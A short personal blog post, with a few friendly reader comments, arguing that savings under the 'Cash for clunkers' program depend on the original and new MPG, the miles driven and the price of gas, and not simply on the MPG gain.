week or 2 ago, Nick blogged about the “Cash for clunkers” program. His general takeaway was that it’s an ok program – it probably wont do a ton for the environment, but it doesn’t cost a ton and it’s helping out the ailing car industry. He did some “math” to determine the potential savings for a person participating in the program.

He used the gain in MPG to determine the total savings. However, this was incorrect. There is actually a difference between going from 18MPG to 23MPG and 25MPG to 30MPG. And to prove my point, I derived the formula…..while at dinner…..at a Thai restaurant. Nerdy, I know.
Update: for y and y+z, I am referring to MPGs….
As you can see, the money saved is dependent upon the # of miles driven per year, original MPG, new MPG and the cost of gas.
6 years of higher education put to great use.

bryn the genius. i've always been one to believe that letters and numbers don't belong together…:)
I will send this to the appropriate committee, and will not trade my little Versa in. 🙂 Also, we do need a visit! You should come to Hawaii for Christmas! 😀
i love that you did your derivation
